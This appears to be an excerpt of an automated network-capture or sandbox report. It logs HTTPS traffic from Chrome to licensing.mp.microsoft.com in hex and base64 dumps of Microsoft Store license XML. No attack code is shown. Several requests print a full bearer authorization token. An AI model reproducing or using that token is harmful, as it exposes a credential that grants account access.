6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 
51 2b 4d 6a 41 78 4e 6a 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 
30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 6c 
59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 75 62 47 6c 75 5a 53 49 67 54 47 6c 
6a 5a 57 35 7a 5a 55 4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 52 68 61 57 77 69 50 6a 78 4a 63 33 4e 31 5a 57 
52 45 59 58 52 6c 50 6a 49 77 4d 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 
Data Ascii: uV2FsbGV0Xzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+M
jAxNjA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnN
lVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZXRhaWwiPjxJc3N1ZWREYXRlPjIwMjItMDctMDFUMD

2022-07-01 09:01:33 UTC 2483 IN Data Raw: 57 56 6c 52 4b 62 6b 4a 32 59 6b 64 73 61 6d 56 57 55 6a 56 6a 52 31 55 35 55 6b 64 57 4d 6d 46 58 54 6d 
78 4a 61 58 64 70 59 54 4a 57 4e 56 4e 58 55 6e 70 4a 61 6e 42 69 53 57 31 4a 4e 45 31 58 55 54 4e 61 56 47 4e 33 54 
46 52 6e 4d 46 70 55 59 33 52 5a 61 6b 55 79 57 56 4d 78 62 45 30 79 55 58 64 4d 56 45 5a 73 54 6a 4a 47 61 45 31 74 
57 58 68 4e 61 6b 31 35 57 6b 4e 4b 5a 45 78 44 53 6e 4a 68 56 7a 56 72 53 57 70 76 61 56 45 79 4f 58 56 6b 52 31 5a 
31 5a 45 4e 4a 63 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 65 6b 6c 71 63 47 4a 6c 65 55 70 33 57 56 64 4f 63 6c 
6c 58 5a 47 78 54 56 31 4a 73 59 6d 35 53 63 46 70 74 62 47 78 6a 61 55 6b 32 53 57 70 56 65 6b 35 45 57 54 4a 61 56 
46 6c 33 54 46 52 53 61 31 6c 55 61 33 52 61 52 45 31 35 57 57 6b 78 61 30 
Data Ascii: WVlRKbkJ2YkdsamVWUjVjR1U5UkdWMmFXTmxJaXdpYTJWNVNXUnpJanBiSW1JNE1XUTN
aVGN3TFRnMFpUY3RZakUyWVMxbE0yUXdMVEZsTjJGaE1tWXhNak15WkNKZExDSnJhVzVrSWpvaVEyOXV
kR1Z1ZENJc0luQmhZMnRoWjJWeklqcGJleUp3WVdOcllXZGxTV1JsYm5ScFptbGxjaUk2SWpVek5EWTJaVFl3TFRSa
1lUa3RaRE15WWkxa0

2022-07-01 09:01:33 UTC 2484 IN Data Raw: 4f 4d 7a 46 75 59 30 70 6c 4e 6a 6c 74 65 6c 4e 6f 4b 30 4a 6c 62 46 6b 30 52 6e 55 33 54 55 56 6e 56 54 4e 
73 61 6d 6c 5a 63 44 56 30 53 31 46 32 5a 7a 30 39 50 43 39 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 
34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 
6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 
62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 
76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 
4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 
Data Ascii: OMzFuY0plNjltelNoK0JlbFk0RnU3TUVnVTNsamlZcDV0S1F2Zz09PC9TUExpY2Vuc2VCbG9jaz48U
2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q2F
ub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy

2022-07-01 09:01:33 UTC 2485 IN Data Raw: 31 4d 6e 52 6d 65 69 74 43 54 48 70 59 62 48 52 5a 4f 55 56 6f 57 55 5a 70 55 7a 42 4c 56 32 5a 58 52 6b 31 
6d 56 6d 35 71 63 57 35 78 55 56 52 34 59 6d 39 44 64 30 6b 30 5a 55 4e 49 61 6b 4e 4d 55 6a 52 51 56 31 6c 4a 4e 57 
77 30 56 33 64 4e 51 6d 55 7a 51 33 42 54 54 44 68 32 4f 47 31 30 56 57 74 34 53 6b 46 33 4e 56 70 47 51 30 55 33 64 
33 4a 79 4e 47 56 31 52 47 67 77 55 58 6c 6e 5a 54 56 43 54 43 39 43 56 6b 4a 34 62 46 46 74 53 48 4e 5a 52 45 68 4c 
62 57 38 78 56 6b 78 57 59 6c 42 47 63 56 42 47 4e 45 68 79 59 56 4e 4b 5a 48 6c 30 54 46 4e 68 55 6b 31 33 57 56 5a 
6e 53 6d 31 68 65 47 64 71 4e 46 6c 44 63 33 70 61 64 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 
78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 
Data Ascii: 1MnRmeitCTHpYbHRZOUVoWUZpUzBLV2ZXRk1mVm5qcW5xUVR4Ym9Dd0k0ZUNIakNMUjR
QV1lJNWw0V3dNQmUzQ3BTTDh2OG10VWt4SkF3NVpGQ0U3d3JyNGV1RGgwUXlnZTVCTC9CVkJ4bFFtSHN
ZREhLbW8xVkxWYlBGcVBGNEhyYVNKZHl0TFNhUk13WVZnSm1heGdqNFlDc3padz09PC9TaWduYXR1cmV
WYWx1ZT48S2V5SW5mbyBJZD0iXz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

147 192.168.2.5 49914 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:33 UTC 2486 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.31
Content-Length: 4269
Host: licensing.mp.microsoft.com

2022-07-01 09:01:33 UTC 2488 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:33 UTC 2492 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7929
MS-CorrelationId: 6e6c1649-b98b-4c8d-8e74-0a0e795553da
MS-RequestId: 6dac38f7-05f6-4008-9fe2-e2816075f781
MS-CV: UznHpAHqV0GMBdER.31.1530940367.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-d8dzp

2022-07-01 09:01:33 UTC 2492 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 62 62 66 62 65 38 61 64 2d 31 61 33 35 2d 61 
37 66 33 2d 33 33 62 63 2d 34 30 39 31 32 62 66 38 39 64 66 62 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:33 UTC 2493 IN Data Raw: 54 67 36 4d 54 63 75 4d 44 49 78 4e 54 63 79 4e 31 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 
30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 
65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 78 57 6c 52 
46 4e 56 6b 79 54 54 4a 4e 55 7a 41 30 54 31 52 72 4d 45 78 55 55 54 4e 50 56 47 4e 30 57 57 31 53 61 6b 35 35 4d 57 
70 4e 61 6b 56 35 54 6d 70 4f 62 55 35 71 53 54 52 4e 62 55 6c 70 5a 6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 
47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 
53 32 39 42 51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 51 55 46 56 
Data Ascii: Tg6MTcuMDIxNTcyN1o8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5leUp
zWldkaFkzbFFjbTlrZFdOMFNXUWlPaUkxWlRFNVkyTTJNUzA0T1RrMExUUTNPVGN0WW1Sak55MWpNakV
5TmpObU5qSTRNbUlpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBS29BQUF
ESkFBQUFDZ0FBQUFV

2022-07-01 09:01:33 UTC 2494 IN Data Raw: 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 
62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 
77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 
56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 
47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 
62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 
38 52 47 6c 6e 5a 58 4e 30 56 6d 46 73 64 57 55 2b 62 6c 42 4d 4d 6a 4e 70 
Data Ascii: jxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA
5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0a
G09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+blBMMjNp

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:33 UTC 2495 IN Data Raw: 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 
4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 
69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 7
0 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 
30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 
5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 
48 4b 7a 6b 79 5a 7a 46 50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 56 31 4a 6b 
Data Ascii: i9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakN
ESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR
3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jk

2022-07-01 09:01:33 UTC 2496 IN Data Raw: 79 62 33 4e 76 5a 6e 51 75 55 32 74 35 63 47 56 42 63 48 42 66 61 33 70 6d 4f 48 46 34 5a 6a 4d 34 65 6d 
63 31 59 7a 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 
58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 
62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 
76 49 46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 
39 75 62 47 6c 75 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 55 4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 52 68 61 
57 77 69 50 6a 78 4a 63 33 4e 31 5a 57 52 45 59 58 52 6c 50 6a 49 77 4d 6a 
Data Ascii: yb3NvZnQuU2t5cGVBcHBfa3pmOHF4ZjM4emc1YzwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhb
FBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXN
lIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZXRhaWwiPjxJc3N1ZWREYXRlPjIwMj

2022-07-01 09:01:33 UTC 2497 IN Data Raw: 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 56 70 55 57 6d 74 4e 4d 6b 
6b 77 54 31 52 6a 64 45 39 45 51 6d 68 61 61 54 41 7a 57 6d 70 46 4d 45 78 58 57 54 56 61 56 46 6c 30 54 31 52 5a 64 
30 35 74 56 6d 78 4e 65 6c 6b 31 57 6d 31 4e 65 6b 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 
52 31 56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 
35 64 57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 4a 4b 57 6b 4e 4a 4e 6b 6c 71 62 46 
68 58 61 31 4a 50 55 54 46 4b 52 31 4e 71 54 54 4a 4f 51 30 6c 7a 53 57 35 4f 63 6d 52 56 62 47 74 4a 61 6d 39 70 54 
55 52 42 65 45 31 44 53 6a 6c 59 55 33 64 70 59 30 63 35 63 32 4a 46 52 6a 
Data Ascii: aMlZKWkdWdWRHbG1hV1Z5SWpvaVpUWmtNMkkwT1RjdE9EQmhaaTAzWmpFMExXWTVaVFl
0T1RZd05tVmxNelk1Wm1Neklpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5S
TZXMTBzSW5CeWIyUjFZM1JKWkNJNklqbFhXa1JPUTFKR1NqTTJOQ0lzSW5OcmRVbGtJam9pTURBeE1DS
jlYU3dpY0c5c2JFRj

2022-07-01 09:01:33 UTC 2498 IN Data Raw: 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 
7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 
38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 
6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 
5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 
79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 
35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 
Data Ascii: ob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+P
FNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3J
zYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Im

2022-07-01 09:01:33 UTC 2499 IN Data Raw: 78 52 6e 6f 72 63 32 35 70 52 31 52 6f 59 56 70 4d 59 6e 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 
6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 
31 69 59 7a 51 77 4c 54 49 33 4d 54 49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 69 50 
6a 78 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 56 73 
64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 
42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 
5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 
Data Ascii: xRnorc25pR1RoYVpMYnc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iY
zQwLTI3MTItMGQ1ZC1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM+b
1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnN
TRWxMd1

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

148 192.168.2.5 49915 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:33 UTC 2500 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
